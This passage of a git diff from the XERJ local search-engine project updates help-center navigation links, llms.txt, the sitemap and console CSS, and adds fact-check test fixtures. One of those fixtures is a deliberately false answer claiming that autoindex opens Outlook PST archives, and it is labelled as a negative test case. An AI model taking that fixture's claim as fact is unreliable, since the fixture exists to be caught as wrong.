help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-web-agent-search.html b/landing/compare/xerj-vs-web-agent-search.htmlindex ebee24549..2c7fdfd51 100644--- a/landing/compare/xerj-vs-web-agent-search.html+++ b/landing/compare/xerj-vs-web-agent-search.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/llms.txt b/landing/llms.txtindex 6d577e6e4..88f183935 100644--- a/landing/llms.txt+++ b/landing/llms.txt@@ -127,6 +127,7 @@ Direct answers for you, the AI agent: the link, then the question that page answ- [How do I full-text search a SQLite database?](https://xerj.org/answers/full-text-search-sqlite-database.md): How do I full-text search a SQLite database?- [How do I index a CSV with many columns?](https://xerj.org/answers/index-csv-with-many-columns.md): How to index CSV files with big number of columns/fields- [How do I index Markdown into Elasticsearch?](https://xerj.org/answers/index-markdown-into-elasticsearch-api.md): What is the best way to index Markdown documents into Elasticsearch?+ - [How do I read email and PDFs after indexing a folder?](https://xerj.org/answers/read-indexed-email-and-pdf-folder.md): I indexed a folder of email and PDFs. How do I actually read what it found?- [How do I run syntax-aware code search?](https://xerj.org/answers/syntax-aware-code-search-refactoring.md): Is there a syntax-aware code search tool for refactoring?- [How do I search a Confluence export?](https://xerj.org/answers/search-confluence-html-export.md): How do I search my Confluence export?- [How do I search a folder of CSV exports?](https://xerj.org/answers/index-multiple-csv-files.md): I have a directory of CSV exports. How do I query them without opening each one in Excel?@@ -248,6 +249,7 @@ Direct answers for you, the AI agent: the link, then the question that page answ- [Quickstart](https://xerj.org/docs/quickstart): the shortest path from install to a first answered query- [Queries](https://xerj.org/docs/queries) · [Vectors](https://xerj.org/docs/vectors) · [Aggregations](https://xerj.org/docs/aggregations) · [Ingest](https://xerj.org/docs/ingest): the query DSL, vector fields, aggregation surface and ingest paths in reference form+- [Console: corpus home, reader, guest mode](https://github.com/xerj-org/xerj/blob/main/docs/CONSOLE_READER.md): when a person wants to READ what you indexed, hand them a link instead of pasting the document — `/_xerj-console/` lists every indexed dataset, and `/_xerj-console/#/reader?index=<index>&id=<_id>` opens one record (an email with its attachments, a PDF page, a note, a code symbol) beside the files the brain links it to. Extracted text only: it renders no email HTML and no PDF pages. Read-only guest mode runs on a share's scoped key. Two limits on an auth-enabled node: the operator's linked-records panel is refused (`401`) and passkey sign-in only works at `http://localhost:9200`- [Migration from Elasticsearch](https://xerj.org/docs/migration-from-es): what is wire-compatible, what is not, and what has no ES equivalent- [For AI agents](https://xerj.org/for-agents): the agent-facing overview of the same material · [docs/agents](https://xerj.org/docs/agents)diff --git a/landing/sitemap.xml b/landing/sitemap.xmlindex 64bfcb337..71805cb8f 100644--- a/landing/sitemap.xml+++ b/landing/sitemap.xml@@ -172,6 +172,10 @@<loc>https://xerj.org/answers/read-autoindex-progress</loc><lastmod>2026-09-20</lastmod></url>+ <url>+ <loc>https://xerj.org/answers/read-indexed-email-and-pdf-folder</loc>+ <lastmod>2026-09-20</lastmod>+ </url><url><loc>https://xerj.org/answers/rebuild-reference-corpus-index</loc><lastmod>2026-09-20</lastmod>diff --git a/scripts/seo/testdata/factcheck/bad_thing_red_pst.md b/scripts/seo/testdata/factcheck/bad_thing_red_pst.mdnew file mode 100644index 000000000..786bfd188--- /dev/null+++ b/scripts/seo/testdata/factcheck/bad_thing_red_pst.md@@ -0,0 +1,13 @@+---+title: "How do I search my Outlook PST archive?"+target_format: pst+evidence:+ - claim: "autoindex walks a directory and types each file"+ source: "engine/crates/xerj-autoindex/src/lib.rs"+expect: [FC-THING-RED]+---++# How do I search my Outlook PST archive?++Run `xerj autoindex ./archive` on a single-node install and XERJ will open the+PST file and make every message in the mailbox searchable.diff --git a/scripts/seo/testdata/factcheck/good_eml_answer.md b/scripts/seo/testdata/factcheck/good_eml_answer.mdnew file mode 100644index 000000000..c72ce5f88--- /dev/null+++ b/scripts/seo/testdata/factcheck/good_eml_answer.md@@ -0,0 +1,22 @@+---+title: "How do I read email and PDFs after indexing a folder of .eml files?"+target_format: eml+evidence:+ - claim: "eml.rs extracts headers, the text body and attachments from one RFC 822 / MIME message file"+ source: "engine/crates/xerj-autoindex/src/extract/eml.rs"+ - claim: "autoindex walks a local filesystem and types each file"+ source: "engine/crates/xerj-autoindex/src/lib.rs"+---++# How do I read email and PDFs after indexing a folder of .eml files?++Point `xerj autoindex` at the directory. XERJ types each `.eml` file, extracts+the headers, the text body and the attachments, and writes them as searchable+documents on a single-node install.++```bash+xerj autoindex ./inbox+```++The files must already be on local disk, one message per file. There is no+reader for a mail archive and no connection to a mail server.diff --git a/xerj-ux/assets/base.css b/xerj-ux/assets/base.cssindex c23354583..8de8b993b 100644--- a/xerj-ux/assets/base.css+++ b/xerj-ux/assets/base.css@@ -775,6 +775,11 @@ button {font-variant-numeric: tabular-nums;}.hit-head.no-time { grid-template-columns: 14ch 16ch 8ch 1fr; }+/* A document id or date is whatever the corpus says it is — it ellipsizes in+ its own column instead of running over the next one. */+.hit-head > * { min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }+.hit-open { color: var(--z-mute); text-decoration: none; }+.hit-open:hover { color: var(--z-accent); }.hit-headrow {margin-bottom: 6px;padding-bottom: 4px;@@ -2274,3 +2279,111 @@ button.sb-grouphead { width: 100%; }.sb-focuscard { order: -1; }.sb-readhow { display: none; } /* what + why survive; the how is a detail */}++/* ── Corpus home · Reader · guest shell ───────────────────────────────────+ Everything below styles DOM built by ux/safe-dom.js (no markup strings):+ the corpus cards (ux/corpus-render.js), the reader (ux/reader-render.js,+ ux/reader-view.js) and the share-link guest shell (guest-app.js).+ Typography-first like the rest of the console: no boxes beyond a 1px rule,+ the accent only where something is selected or counted. */++/* corpus */+.cp-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(420px, 1fr)); gap: var(--sp-4) var(--gap-x); }+.cp-card { border-top: 1px solid var(--z-faint); padding-top: var(--sp-2); min-width: 0; }+.cp-card__head { display: flex; justify-content: space-between; align-items: flex-end; gap: var(--sp-2); flex-wrap: wrap; }+.cp-card__name { font-size: var(--fs-20); font-weight: 700; margin: 4px 0 0; overflow-wrap: anywhere; }+.cp-card__nums { display: flex; gap: var(--sp-2); font-size: var(--fs-13); color: var(--z-mute); flex-wrap: wrap; }+.cp-card__nums b { color: var(--z-ink); font-weight: 700; }+.cp-card__nums b.accent { color: var(--z-accent); }+.cp-card__facts { display: flex; flex-wrap: wrap; gap: 6px var(--sp-2); margin-top: 12px; font-size: var(--fs-11); }+.cp-fact { overflow-wrap: anywhere; }+.cp-fields { display: flex; flex-wrap: wrap; gap: 6px 14px; margin-top: 12px; }+.cp-field { font-size: var(--fs-11); max-width: 100%; overflow-wrap: anywhere; }+.cp-field__name { color: var(--z-ink); }+.cp-field__type { color: var(--z-mute); margin-left: 6px; }+.cp-actions { display: flex; gap: var(--sp-3); margin-top: var(--sp-2); }+.cp-actions a { text-decoration: none; }+.cp-samples { margin-top: var(--sp-2); display: flex; flex-direction: column; gap: 4px; }+.cp-samples > .key { margin-bottom: 4px; }+.cp-sq { display: flex; gap: 12px; align-items: baseline; text-align: left; background: none; border: 0; padding: 4px 0; color: var(--z-ink); cursor: pointer; font: inherit; font-size: var(--fs-13); }+.cp-sq:hover .cp-sq__q { color: var(--z-accent); }+.cp-sq__type { font-size: var(--fs-11); color: var(--z-mute); min-width: 72px; letter-spacing: var(--track-ui); }+.cp-sq__q { overflow-wrap: anywhere; }+.cp-empty { color: var(--z-mute); font-size: var(--fs-16); max-width: 72ch; line-height: 1.6; }+.cp-empty p { margin: 8px 0; }+.cp-cmd { font-size: var(--fs-20); margin: var(--sp-2) 0; white-space: pre-wrap; }++/* reader */+.rd-search { display: flex; gap: var(--sp-2); align-items: center; border-bottom: 1px solid var(--z-faint); padding-bottom: 10px; margin-bottom: var(--sp-3); flex-wrap: wrap; }+.rd-q { flex: 1 1 320px; min-width: 0; background: transparent; border: 0; outline: 0; color: var(--z-ink); font-family: var(--font-data); font-size: var(--fs-16); padding: 6px 0; }+.rd-q::placeholder { color: var(--z-mute); }+.rd-type, .rd-index { background: var(--z-paper); color: var(--z-ink); border: 1px solid var(--z-faint); font-family: var(--font-data); font-size: var(--fs-11); letter-spacing: var(--track-ui); padding: 5px 8px; max-width: 260px; }+.rd-index-one { font-size: var(--fs-11); overflow-wrap: anywhere; }+.rd-cols { display: grid; grid-template-columns: minmax(280px, 4fr) minmax(0, 8fr); gap: var(--gap-x); align-items: start; }+.rd-col { min-width: 0; }+.rd-col > .key, .rd-graph > .key { margin-bottom: 12px; }+.rd-list { display: flex; flex-direction: column; max-height: 70vh; overflow-y: auto; overflow-x: hidden; }+.rd-card { display: block; padding: 12px 8px 12px 10px; border-bottom: 1px solid var(--z-faint); color: inherit; text-decoration: none; min-width: 0; }+.rd-card:hover { background: color-mix(in srgb, var(--z-ink) 4%, transparent); }+.rd-card.sel { box-shadow: inset 3px 0 0 var(--z-accent); }+.rd-card__top { display: flex; align-items: baseline; gap: 8px; margin-bottom: 4px; min-width: 0; }+.rd-card__title { flex: 1; min-width: 0; font-weight: 600; font-size: var(--fs-13); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }+.rd-card__score { font-family: var(--font-data); font-size: var(--fs-11); color: var(--z-mute); }+.rd-card__meta { color: var(--z-mute); font-size: var(--fs-11); font-family: var(--font-data); margin-bottom: 4px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }+.rd-card__snip { font-size: var(--fs-13); line-height: 1.5; opacity: .8; display: -webkit-box; -webkit-line-clamp: 3; -webkit-box-orient: vertical; overflow: hidden; overflow-wrap: anywhere; }+.rd-card__frag + .rd-card__frag::before { content: ' … '; color: var(--z-mute); }+.rd-card__snip mark, .rd-body mark { background: none; color: var(--z-accent); font-weight: 600; }+.rd-badge { font-family: var(--font-data); font-size: 9px; letter-spacing: .06em; text-transform: uppercase; padding: 2px 6px; border: 1px 